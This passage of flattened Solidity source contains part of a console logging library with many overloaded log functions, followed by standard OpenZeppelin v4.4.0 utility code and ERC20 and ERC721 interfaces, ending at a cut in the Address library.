p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which 